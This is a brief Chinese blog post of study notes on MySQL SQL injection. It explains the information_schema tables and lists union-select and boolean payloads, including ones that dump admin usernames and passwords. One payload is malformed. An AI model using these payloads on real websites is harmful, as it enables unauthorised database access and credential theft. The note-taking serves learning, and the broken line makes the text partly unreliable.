MYSQL報錯注入雜記

元數據庫information_schema

在5.0以後版本的MYSQL中存在着一個元數據information_schema,其中存儲着用戶在MYSQL中創建的所有其他數據庫的信息。

當對PHP+MYSQL類網站進行注入時,主要是針對information_schema數據庫進行操作;

 

比較重要的數據表:

schema:用於存放所有數據庫的名字;

tables:用於存放所有數據庫中的數據表的名字;

columns:用於存放所有數據庫的所有數據表中的所有字段的名字;

eg.

查看數據庫cms0308數據庫中包含了那些表:

select table_name from information_schema.tables where table_schema = "cms0308";

查看hack數據表中包含了哪些字段:

select column_name from information_schema.columns where table_name="hack";

 

 

通過加上1=2用於造成前面的語句錯誤,只顯示後面select1,2的內容:

select * from hack where id=1 and 1=2 union select 1,2

若沒有加上1=2,上述語句將只返回前面正確內容。

 

查看當前版本號,當前用戶:

select * from hack where id=1 and 1=2 union select 1,version(),user(),4,5

查看當前數據庫:

select * from hack where id=1 and 1=1 union select 1,database(),3,4,5

 

通過group_concat()顯示字段中所有內容:

union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="govcn"

 

利用unhex(hex())函數進行編碼轉換,解決網站編碼不一致導致的問題:

union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin

 

‘+or+’1’=’1

‘+or+ascii(user(2,1))=2+or+’1’=’1         (2,代表第二個字母,1代表第一個表名)

判斷sql語句用什麼連接,用+號連接的是sqlserver,用||連接的是oracle,用空格的是mysql

 

 

 

 

發佈了37 篇原創文章 · 獲贊 0 · 訪問量 6250
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章